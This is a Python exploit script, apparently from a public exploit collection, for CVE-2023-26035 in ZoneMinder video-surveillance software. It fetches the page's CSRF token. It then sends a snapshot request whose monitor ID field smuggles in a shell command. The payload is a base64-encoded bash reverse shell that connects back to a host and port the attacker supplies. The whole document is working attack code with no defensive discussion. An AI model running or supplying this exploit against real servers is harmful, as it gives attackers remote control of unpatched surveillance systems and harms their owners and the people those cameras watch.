import re
import requests
from bs4 import BeautifulSoup
import argparse
import base64
# Exploit Title: Unauthenticated RCE in ZoneMinder Snapshots
# Date: 12 December 2023
# Discovered by : @Unblvr1
# Exploit Author: Ravindu Wickramasinghe (@rvizx9)
# Vendor Homepage: https://zoneminder.com/
# Software Link: https://github.com/ZoneMinder/zoneminder
# Version: prior to 1.36.33 and 1.37.33
# Tested on: Arch Linux, Kali Linux
# CVE : CVE-2023-26035
# Github Link : https://github.com/rvizx/CVE-2023-26035
class ZoneMinderExploit:
def __init__(self, target_uri):
self.target_uri = target_uri
self.csrf_magic = None
def fetch_csrf_token(self):
print("[>] fetching csrt token")
response = requests.get(self.target_uri)
self.csrf_magic = self.get_csrf_magic(response)
if response.status_code == 200 and re.match(r'^key:[a-f0-9]{40},\d+', self.csrf_magic):
print(f"[>] recieved the token: {self.csrf_magic}")
return True
print("[!] unable to fetch or parse token.")
return False
def get_csrf_magic(self, response):
return BeautifulSoup(response.text, 'html.parser').find('input', {'name': '__csrf_magic'}).get('value', None)
def execute_command(self, cmd):
print("[>] sending payload..")
data = {'view': 'snapshot', 'action': 'create', 'monitor_ids[0][Id]': f';{cmd}', '__csrf_magic': self.csrf_magic}
response = requests.post(f"{self.target_uri}/index.php", data=data)
print("[>] payload sent" if response.status_code == 200 else "[!] failed to send payload")
def exploit(self, payload):
if self.fetch_csrf_token():
print(f"[>] executing...")
self.execute_command(payload)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target-url', required=True, help='target url endpoint')
parser.add_argument('-ip', '--local-ip', required=True, help='local ip')
parser.add_argument('-p', '--port', required=True, help='port')
args = parser.parse_args()
# generating the payload
ps1 = f"bash -i >& /dev/tcp/{args.local_ip}/{args.port} 0>&1"
ps2 = base64.b64encode(ps1.encode()).decode()
payload = f"echo {ps2} | base64 -d | /bin/bash"
ZoneMinderExploit(args.target_url).exploit(payload)
